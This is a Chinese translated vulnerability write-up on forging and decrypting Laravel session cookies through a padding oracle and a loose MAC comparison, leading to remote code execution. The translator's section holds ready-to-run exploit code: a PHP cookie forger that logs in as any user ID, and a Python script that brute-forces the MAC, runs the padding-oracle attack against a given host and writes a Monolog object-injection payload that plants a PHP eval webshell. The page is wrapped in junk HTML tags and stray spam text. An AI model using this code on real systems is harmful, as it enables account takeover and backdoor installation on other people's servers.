<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1515

            from:laravel-cookie-forgery-decryption-and-rce

            0x00 內容


            0x01 名詞約定


            下圖為CBC模式加密過程

            enter image description here

            下圖為CBC模式解密過程

            enter image description here

            enter image description here

            0x02 簡介


            Laravel PHP框架中的加密模塊存在漏洞,攻擊者能夠利用該漏洞偽造session cookie來實現任意用戶登錄, 在某些情況下,攻擊者能夠偽造明文對應的密文,并以此來實行遠程代碼執行。

            Laravel是一個免費,開源的PHP框架,它為現在的web開發人員提供了很多功能,包括基于cookie的session功能。 為了防止攻擊者偽造cookie,Laravel會為其加密并帶上一個消息認證碼(MAC)。當接收到cookie時,會計算出相對應的MAC, 并與cookie所帶的MAC做比較。如果兩MAC不一致,則認為cookie已經被篡改,請求會被終止。

            0x03 任意用戶登錄


            下面的代碼展示了MAC驗證和解密過程:

            #!php
            $payload = json_decode(base64_decode($payload), true);
            
            if ($payload['mac'] != hash_hmac('sha256', $payload['value'], $this->key))
                throw new DecryptException("MAC for payload is invalid.");
            
            $value = base64_decode($payload['value']);
            $iv = base64_decode($payload['iv']);
            
            $plaintext = unserialize($this->stripPadding($this->mcryptDecrypt($value, $iv)));
            

            從上面的代碼可以看出MAC只對value進行校驗,并不能保證初始化向量(IV)的完整性。 Laravel使用Rijndael-256的密碼分組鏈接(CBC)模式。 著也就意味著,沒有對IV進行校驗,攻擊者能夠任意修改第一個塊的明文。

            Laravel “remember me”的cookie格式是user ID字符串,因此惡意用戶可以修改他們自個的session cookie,達到登錄任意用戶,假設我們的用戶ID為"123",session cookie原始明文為 s:3:"123";后接22byte的補充: s:3:"123";\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16\x16 (譯者注: Laravel用的是PKCS7 padding,與PKCS5不同的是,PKCS5明確填充的內容psLen是1-8, 而PKCS7沒有這限制。)

            假設系統生成的cookie中的IV是這樣子的:

            V\xc5\xb5\x03\xf1\xd4"\xe5+>c\xffJPN\xad\x9f\xd6\xa0\x9cV\xe3@\x9c\xd5\xa0\xd1\xddS\x1d\xc9\x84
            

            如果我們想偽造ID為1的用戶,也就是cookie明文為s:1:"1";后接24byte的補充,為了能夠使服務器端成功解密出ID為1的明文, 需要按照以下步驟生成IV:

            enter image description here

            就獲得了Pb 相對應的IVb,提交新的cookie,我們就成了ID為1的用戶,也可以用同樣的方法來登錄其他ID。 對攻擊者來說,能夠登錄任意用戶也是相當牛逼的,但你能牛逼的程度取決于應用程序傻逼的程度。有沒有一種方法, 能夠通殺使用Laravel的應用呢?

            0x04 發送任意密文


            另外一個問題,進行MAC檢驗的時候使用的是!=。這以為著PHP在實際比較前會進行類型判斷。hash_hmac返回的結果永遠都是字符串, 但是如果$payload['mac']是一個整型,那么強制類型轉換會使得偽造一個對應的MAC變得相對簡單, 例如,正確的MAC以"0"或者其他非數字起頭,那么整數0將與之匹配,如果以"1x"(x非數字),那么整數1與之匹配,依此類推。 (譯者注:作者難道沒有被1e[1-9]xxx坑過沒?)

            #!php
            var_dump('abcdefg' == 0); // true
            var_dump('1abcdef' == 1); // true
            var_dump('2abcdef' == 2); // true
            

            由于MAC是經過json_decode處理的,攻擊者可以提供一個整型的MAC,這也就意味著,攻擊者能夠提供一個正確的MAC給任意密文。

            0x05 解密密文


            Laravel使用的是CBC模式的分組密碼,我們也能夠提供任意密文讓其解密,我們是否能夠實施一次牛逼哄哄的 CBC padding oracle attack攻擊呢? 答案是:在某種情況下,YES

            一次有預謀的padding oracle attack攻擊需要目標應用能夠泄漏不同填充下解密的狀態,回頭看看解密過程的代碼, 有三個地方填充狀態可能會被泄漏:

            嗯,當PHP reporting啟用時(其實應該是Laravel的debug模式開啟時),反序列化解密后的數據會告訴我們有多少byte的padding被去除, 例如unserialize()爆出"offset X of 22 bytes"的錯誤時,我們就可以知道這里有10byte的padding。

            這樣的側漏對于組織一次有預謀的padding oracle attack來說,足夠!

            0x06 為任意明文偽造合法的密文


            既然有了個CBC decryption oracle,那就很有可能利用CBC-R技術來加密任意明文。

            enter image description here

            CBC模式的解密過程為 Pi=DK(Ci) xor Ci?1,C0=IV ,如果攻擊者能夠控制或者知曉 DK(Ci) 和Ci?1 , 他就能夠生成他想要的明文塊。既然這里有個選擇密文攻擊,很顯然攻擊者能夠控制 Ci 和 Ci?1 , 至于DK(Ci)

            我們能夠利用decryption oracle獲得,因此攻擊者無需知道密鑰K即可對任意明文加密。牛逼吧,如果應用程序使用了這套加密API,我們就偽造密文來執行敏感操作,但是這還是得取決于應用有多傻逼, 我們希望變得更牛逼。

            0x07 發送任意密文


            我們已經使用unserialize()作為我們padding oracle的基礎, 那我們再次利用unserialize()作一次PHP對象注入來達到任意代碼執行,如何?

            經過搜索Laravel代碼之后,發現還是蠻多類定義了 __wakeup() 或者 __destruct() 魔術方法, 不過我發現最有趣的一個類當屬被很多項目引用的monolog PHP日志記錄框架中的BufferHandler類,顯然,如果payload利用的是被廣泛應用的monolog而不是其他特定的類,會更為通用。 使用Composer(PHP依賴管理器)時,monolog很有可能被包含,因為它可能被注冊為PHP class autoload,這也就意味著, monolog不用被明確的包含在我們請求的文件中,當我們反序列化的時候,PHP會自動尋找加載這個類。

            BufferHandler類包裝這另外一個log處理類,當BufferHandler對象被銷毀時,BufferHandler對象會用它包含的實際處理log的對象處理它當前的log buffer,一個比較好的選擇是能夠存儲到任意流資源(比如說文件流)的StreamHandler類,所以我們的計劃是注入一個包含StreamHandler對象的BufferHandler對象,其中StreamHandler對象的流資源指向web根目錄,并且BufferHandler內包含著帶有php webshell的log buffer,好,計劃通,行動。

            利用下面的代碼,很容易生成對應的payload:

            #!php
            <?php
            
            require_once 'vendor/autoload.php';
            
            use Monolog\Logger;
            use Monolog\Handler\StreamHandler;
            use Monolog\Handler\BufferHandler;
            
            $handler = new BufferHandler(
                new StreamHandler('target-file.php')
            );
            $handler->handle(array(
                'level' => Logger::DEBUG,
                'message' => '<?php eval(hex2bin($_GET[\'x\']));?>',
                'extra' => array(),
            ));
            print bin2hex(serialize($handler)) . "\n";
            ?>
            

            上面的腳本會生成我們的payload:

            O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29:"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:15:"target-file.php";}s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}
            

            通過上面介紹的技巧,我們可以加密該payload,作為cookie提交上去的時候,代碼就執行了。

            0x08 譯者總結


            對于原作者所說的漏洞,我拿一個開源blog laravel-4.1-simple-blog 做實驗,將關鍵文件回滾到存在漏洞狀態,如果有人想研究,也可以在這laravel-cookie-forgery-decryption-and-rce.zip下載完整文件。

            測試1 任意用戶登錄

            在本地:

            [email protected],得到用戶ID為62,利用以下代碼即可獲取指定ID用戶的cookie

            #!php
            <?php
            
            if ($argc < 4) {
                print("[*] Usage ".$argv[0]." cookie userid targetid\n");
                return;
            }
            
            $cookie = json_decode(base64_decode($argv[1]), true);
            $userid = $argv[2];
            $targetid = $argv[3];
            
            $iv_a = base64_decode($cookie['iv']);
            $p_a = addPadding(serialize($userid));
            $p_b = addPadding(serialize($targetid));
            
            $iv_b = base64_encode($iv_a ^ $p_a ^ $p_b);
            
            $cookie['iv'] = $iv_b;
            
            echo base64_encode(json_encode($cookie))."\n";
            
            function addPadding($value) {
                $block_size = 32;
                $pad = $block_size - (strlen($value) % $block_size);
                return $value.str_repeat(chr($pad), $pad);
            }
            ?>
            

            運行結果

            enter image description here

            測試2 利用padding oracle來實現RCE

            我修改原作者生成payload的腳本,對比生成的payload和原作者給的payload,發現原作者把一些無用的protect屬性給去除了, payload顯得比較短,打算直接使用作者給的payload。

            但是!原作者的payload留了個大坑,正常訪問下,index.php的工作目錄是web目錄, 但是unserialize cookie之后產生的BufferHandler對象和字符串做運算,而BufferHandler類沒實現__toString魔術方法, 從而導致觸發fatal error,使用register_shutdown_function注冊的回調函數$this->close被調用,但是!在我測試環境ubuntu 12.04 64bit + php 5.3.10下,觸發異常導致$this->close被調用的時候,工作環境被切換到了根路徑'/',從而導致寫文件失敗。

            另外一個坑是mac校驗處,本來以為(10/16.0) ** 3 = 0.244140625,開頭連續三個數字字符的概率還算低,結果跑一遍才發現遠遠低估mac校驗這里的情況了,比如說正確的校驗值是79e58c735e1105d7222f321031a782251da88ebd08cdc1de926ead2df4b9d3fd, 這種情況就讓人很無奈。在實際情況中,正確的做法是換payload,在這里我就直接換key, 最后把key換成Http://WeiBo.COM/Fatez3r0/home?Y。 由于程序推ciphertext,推cv的關聯性,以及推1 byte cv的隨機性,多線程在此處意義不大。

            下面是我根據上面的原理編寫的exploit

            #!python
            #! /usr/bin/env python
            # -*- coding: utf-8 -*-
            
            from __future__ import print_function
            
            import re
            import sys
            import json
            import struct
            import base64
            import requests
            from optparse import OptionParser
            
            
            def init_parser():
                print("")
                print("=== POC for laravel RCE ===")
                print("=== by fate0            ===")
                print("=== [email protected]  ===")
                print("=== weibo.com/fatez3r0  ===")
                print("")
                usage = "Usage: %prog --host http://www.fatezero.org"
                parser = OptionParser(usage=usage, description="POC for laravel RCE")
                parser.add_option("--host", type="str", dest="host", help="remote host name")
                return parser
            
            
            class LaravelOracle(object):
                """
                提供32位的payload,也就是明文P
                返回相對應的32byte IV
                """
                block_size = 32
            
                def __init__(self, domain, plaintext, ciphertext):
                    self.domain = domain
                    self.timeout = 7
                    self.re_pattern = re.compile("Error\sat\soffset\s\d{1,2}\sof\s([\d]{1,2})\sbytes", re.DOTALL | re.M)
                    self.plaintext = bytearray(plaintext)  # 32byte的payload
                    self.ciphertext = bytearray(ciphertext)  # 32byte的ciphertext
                    self.cv = bytearray()   # 正確的cv (中間值)
                    self.iv = bytearray()
                    self.cookie = {
                        'mac': 0,
                        'value': self.ciphertext,
                        'iv': bytearray('0'*32)
                    }
                    self.modify_cookie_mac()
            
                @staticmethod
                def add_padding(value):
                    """
                    對value進行padding
                    """
                    pad = LaravelOracle.block_size - (len(value) % LaravelOracle.block_size)
                    return "{value}{padding}".format(value=value, padding=chr(pad)*pad)
            
                @staticmethod
                def format_cookie(cookie):
                    """
                    將易操作的cookie轉換成laravel的cookie
                    """
                    tmp_cookie = dict()
                    send_cookie = dict()
            
                    tmp_cookie['iv'] = base64.b64encode(cookie['iv'])
                    tmp_cookie['value'] = base64.b64encode(cookie['value'])
                    tmp_cookie['mac'] = int(cookie['mac'])
            
                    send_cookie['laravel_session'] = base64.b64encode(json.dumps(tmp_cookie))
                    return send_cookie
            
                def modify_cookie_iv(self, index):
                    if len(self.cv) != index:
                        print("[-] Something Wrong")
                        sys.exit()
            
                    tmp_append = bytearray()
                    for each_c in self.cv:
                        tmp_append.append(each_c ^ (index+1))
            
                    self.cookie['iv'] = self.cookie['iv'][0:LaravelOracle.block_size-index] + tmp_append
            
                def modify_cookie_mac(self):
                    """
                    獲取正確的mac
                    一個32byte的分組,只有1個正確的mac
                    """
                    while True:
                        send_cookie = self.format_cookie(self.cookie)
                        response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
                        if response.status_code == 500:
                            return True
                        self.cookie['mac'] += 1
            
                def guess_cookie_iv_byte(self, index, value):
                    """
                    猜測一個字節的IV
                    """
            
                    self.cookie['iv'][LaravelOracle.block_size-index-1] = value
                    send_cookie = self.format_cookie(self.cookie)
                    response = requests.get(self.domain, cookies=send_cookie, timeout=self.timeout)
            
                    re_result = self.re_pattern.findall(response.content)
                    if not re_result:
                        if index != 31:
                            return False
                        if response.status_code == 200:
                            self.cv.insert(0, value ^ (index+1))
                            return True
                    elif int(re_result[0]) >= LaravelOracle.block_size - index:
                        return False
                    else:
                        self.cv.insert(0, value ^ (index+1))
                        return True
            
                def exploit(self):
                    for index in xrange(32):
                        self.modify_cookie_iv(index)
                        for value in xrange(256):
                            if self.guess_cookie_iv_byte(index, value):
                                break
                        print(index, hex(self.cv[0]))
            
                    for p_char, cv_char in zip(self.plaintext, self.cv):
                        self.iv.append(p_char ^ cv_char)
            
            
            def main():
                parser = init_parser()
                option, _ = parser.parse_args()
                domain = option.host
            
                if not domain:
                    parser.print_help()
                    sys.exit(0)
            
                domain = domain if domain.startswith('http') else "http://{domain}".format(domain=domain)
                domain = domain if not domain.endswith('/') else domain[:-1]
            
                cookie = dict()
                cookie['mac'] = 0
            
                payload = ('''O:29:"Monolog\Handler\BufferHandler":3:{s:10:"\x00*\x00handler";O:29'''
                           ''':"Monolog\Handler\StreamHandler":1:{s:6:"\x00*\x00url";s:26:"/var/www/blog/public/x.php";}'''
                           '''s:9:"\x00*\x00buffer";a:1:{i:0;a:3:{s:5:"level";i:100;s:7:"message";s:34:"<?php '''
                           '''eval(hex2bin($_GET['x']));?>";s:5:"extra";a:0:{}}}s:13:"\x00*\x00bufferSize";i:1;}''')
            
                padding_payload = LaravelOracle.add_padding(payload)
                payload_block = reversed(struct.unpack("32s"*(len(padding_payload)/32), padding_payload))
            
                ciphertext = bytearray('0'*32)
                for each_payload_block in payload_block:
                    print("[plaintext] {payload_block}".format(payload_block=each_payload_block))
                    print("[ciphertext] {ciphertext}".format(ciphertext=base64.b64encode((ciphertext[:32]))))
                    LO = LaravelOracle(domain, each_payload_block, ciphertext[:32])
                    LO.exploit()
                    print("[iv] {iv}".format(iv=base64.b64encode(LO.iv)))
                    ciphertext = LO.iv + ciphertext
            
                cookie['iv'] = ciphertext[:32]
                cookie['value'] = ciphertext[32:]
                cookie['mac'] = 0
            
                while True:
                    send_cookie = LaravelOracle.format_cookie(cookie)
                    requests.get(domain, cookies=send_cookie, timeout=7)
                    if requests.get("{domain}/{backdoor}".format(domain=domain, backdoor='x.php')).status_code == 200:
                        print("cookie: \n{cookie}".format(cookie=send_cookie))
                        return
                    cookie['mac'] += 1
            
            
            if __name__ == '__main__':
                main()
            

            運行結果

            enter image description here

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线